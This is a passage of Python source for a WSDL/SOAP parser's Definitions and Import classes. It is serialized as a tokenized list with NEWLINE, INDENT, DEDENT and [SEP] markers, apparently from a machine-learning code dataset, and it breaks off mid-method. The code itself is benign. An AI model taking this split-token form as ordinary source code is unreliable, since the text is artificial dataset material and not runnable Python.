" ", "bindi", "ngs", ":", " ", "The", " ", "dictionar", "y", " ", "of", " ", "L", "{", "Bind", "ing", "}", " ", "child", "ren", " ", "key", "'", "d", " ", "by", " ", "I", "{", "qna", "me", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "bindi", "ngs", ":", " ", "[", "L", "{", "Bind", "ing", "},", "...]", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "service", ":", " ", "The", " ", "service", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "service", ":", " ", "L", "{", "Service", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Tag_", "=_", "'", "definit", "ion", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "url_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "url", ":", " ", "A", " ", "URL", " ", "to", " ", "the", " ", "WS", "DL", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "url", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "options", ":", " ", "An", " ", "options", " ", "dictionar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "options", ":", " ", "L", "{", "options", ".", "Optio", "ns", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "('", "readi", "ng", " ", "ws", "dl", " ", "at", ":", " ", "%", "s", " ", "...", "',", " ", "url", ")_", "\\u\\u\\uNL\\u\\u\\u_", "reader_", "=_", "Document", "Reader_", "(_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "reader_", "._", "open_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "d_", "._", "root_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "WO", "bject_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "id_", "=_", "obji", "d_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "options_", "=_", "options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "url_", "=_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tns", "_", "=_", "self_", "._", "mkt", "ns_", "(_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "types_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "schema_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "children_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "imports_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "messages_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "port", "\\u", "types_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bindings_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "services_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "children_", "(_", "self_", "._", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "children_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "=_", "self_", "._", "\\u\\u", "metadata", "\\u\\u_", "._", "\\u\\u", "print", "\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "excludes_", "._", "append_", "(_", "'", "child", "ren", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "excludes_", "._", "append_", "(_", "'", "ws", "dl", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "wrappers_", "[_", "'", "schema", "'_", "]_", "=_", "repr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "open", "\\u", "imports_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "resolve_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "build", "\\u", "schema_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "wrapped_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "s_", "in_", "self_", "._", "services_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "methods_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "(\"", "ws", "dl", " ", "at", " ", "'%", "s", "'", " ", "load", "ed", ":\\\\", "n", "%", "s", "\",", " ", "url", ",", " ", "self", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mkt", "ns_", "(_", "self_", ",_", "root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Get", "/", "create", " ", "the", " ", "target", " ", "namespace", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tns", "_", "=_", "root_", "._", "get_", "(_", "'", "target", "Names", "pace", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix_", "=_", "root_", "._", "find", "Prefix_", "(_", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prefix_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "('", "warn", "ing", ":", " ", "tns", " ", "(%", "s", "),", " ", "not", " ", "mapp", "ed", " ", "to", " ", "prefix", "',", " ", "tns", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "'", "tns", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "prefix_", ",_", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "children_", "(_", "self_", ",_", "root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Add", " ", "child", " ", "object", "s", " ", "usi", "ng", " ", "the", " ", "factor", "y", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "root_", "._", "get", "Children_", "(_", "ns_", "=_", "ws", "dl", "ns_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "child_", "=_", "Factory_", "._", "create_", "(_", "c_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "child_", "is_", "None_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "children_", "._", "append_", "(_", "child_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "child_", ",_", "Import_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "imports_", "._", "append_", "(_", "child_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "child_", ",_", "Types_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "types_", "._", "append_", "(_", "child_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "child_", ",_", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "messages_", "[_", "child_", "._", "qname_", "]_", "=_", "child_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "child_", ",_", "Port", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "port", "\\u", "types_", "[_", "child_", "._", "qname_", "]_", "=_", "child_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "child_", ",_", "Binding_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "bindings_", "[_", "child_", "._", "qname_", "]_", "=_", "child_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "child_", ",_", "Service_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "services_", "._", "append_", "(_", "child_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "open", "\\u", "imports_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Import", " ", "the", " ", "I", "{", "import", "ed", "}", " ", "WS", "DL", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "imp_", "in_", "self_", "._", "imports_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "imp_", "._", "load_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Tell", " ", "all", " ", "child", "ren", " ", "to", " ", "resolve", " ", "them", "sel", "ves", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "self_", "._", "children_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "._", "resolve_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "schema_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Process", " ", "L", "{", "Type", "s", "}", " ", "object", "s", " ", "and", " ", "create", " ", "the", " ", "schema", " ", "collection", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Schema", "Collection_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "t_", "in_", "[_", "t_", "for_", "t_", "in_", "self_", "._", "types_", "if_", "t_", "._", "local_", "(_", ")_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "root_", "in_", "t_", "._", "contents_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "schema_", "=_", "Schema_", "(_", "root_", ",_", "self_", "._", "url_", ",_", "self_", "._", "options_", ",_", "container_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "._", "add_", "(_", "schema_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "len_", "(_", "container_", ")_", ":_", "#", " ", "empty_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "Element_", "._", "build", "Path_", "(_", "self_", "._", "root_", ",_", "'", "types", "/", "schema", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schema_", "=_", "Schema_", "(_", "root_", ",_", "self_", "._", "url_", ",_", "self_", "._", "options_", ",_", "container_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "._", "add_", "(_", "schema_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "schema_", "=_", "container_", "._", "load_", "(_", "self_", "._", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "s_", "in_", "[_", "t_", "._", "schema_", "(_", ")_", "for_", "t_", "in_", "self_", "._", "types_", "if_", "t_", "._", "imported_", "(_", ")_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "schema_", "._", "merge_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "schema_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "methods_", "(_", "self_", ",_", "service_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Build", " ", "method", " ", "view", " ", "for", " ", "service", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bindings_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "document", "/", "literal", "'_", ":_", "Document_", "(_", "self_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rpc", "/", "literal", "'_", ":_", "RP", "C_", "(_", "self_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rpc", "/", "encode", "d", "'_", ":_", "Encode", "d_", "(_", "self_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "service_", "._", "ports_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "binding_", "=_", "p_", "._", "binding_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ptype_", "=_", "p_", "._", "binding_", "._", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "operations_", "=_", "p_", "._", "binding_", "._", "type_", "._", "operations_", "._", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "[_", "op_", "._", "name_", "for_", "op_", "in_", "operations_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "Fac", "ade_", "(_", "'", "Meth", "od", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "location_", "=_", "p_", "._", "location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "binding_", "=_", "Fac", "ade_", "(_", "'", "bindi", "ng", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op_", "=_", "binding_", "._", "operation_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "soap", "_", "=_", "op_", "._", "soap", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "'/'_", "._", "join_", "(_", "(_", "op_", "._", "soap", "_", "._", "style_", ",_", "op_", "._", "soap", "_", "._", "input_", "._", "body_", "._", "use_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "binding_", "._", "input_", "=_", "bindings_", "._", "get_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "'/'_", "._", "join_", "(_", "(_", "op_", "._", "soap", "_", "._", "style_", ",_", "op_", "._", "soap", "_", "._", "output_", "._", "body_", "._", "use_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "binding_", "._", "output_", "=_", "bindings_", "._", "get_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op_", "=_", "ptype_", "._", "operation_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "methods_", "[_", "name_", "]_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "wrapped_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "set", " ", "(", "wrapp", "ed", "|", "bare", ")", " ", "flag", " ", "on", " ", "message", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "b_", "in_", "self_", "._", "bindings_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "op_", "in_", "b_", "._", "operations_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "body_", "in_", "(_", "op_", "._", "soap", "_", "._", "input_", "._", "body_", ",_", "op_", "._", "soap", "_", "._", "output_", "._", "body_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "body_", "._", "wrapped_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "body_", "._", "parts_", ")_", "!=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "p_", "in_", "body_", "._", "parts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "p_", "._", "element_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "query_", "=_", "Element", "Query_", "(_", "p_", "._", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pt_", "=_", "query_", "._", "execute_", "(_", "self_", "._", "schema_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pt_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "Type", "Not", "Found_", "(_", "query_", "._", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "resolved_", "=_", "pt_", "._", "resolve_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "resolved_", "._", "builtin_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body_", "._", "wrapped_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getstate", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nop", "ickle", "_", "=_", "(_", "'", "options", "'_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "self_", "._", "\\u\\u", "dict\\u\\u_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "nop", "ickle", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "k_", "in_", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "state_", "[_", "k_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Definit", "ion", "s", " ", "(", "id", "=", "%", "s", ")'_", "%_", "self_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Import_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "the", " ", "<", "ws", "dl", ":", "import", "/>", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "location", ":", " ", "The", " ", "value", " ", "of", " ", "the", " ", "I", "{", "location", "}", " ", "attribute", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "location", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "ns", ":", " ", "The", " ", "value", " ", "of", " ", "the", " ", "I", "{", "namespace", "}", " ", "attribute", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "ns", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "import", "ed", ":", " ", "The", " ", "import", "ed", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "import", "ed", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Import_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "WO", "bject_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "location_", "=_", "root_", "._", "get_", "(_", "'", "location", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ns_", "=_", "root_", "._", "get_", "(_", "'", "namespace", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "imported_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "=_", "self_", "._", "\\u\\u", "metadata", "\\u\\u_", "._", "\\u\\u", "print", "\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "wrappers_", "[_", "'", "import", "ed", "'_", "]_", "=_", "repr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Import_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load_", "(_", "self_", ",_", "definitions_", ")_", ":_", 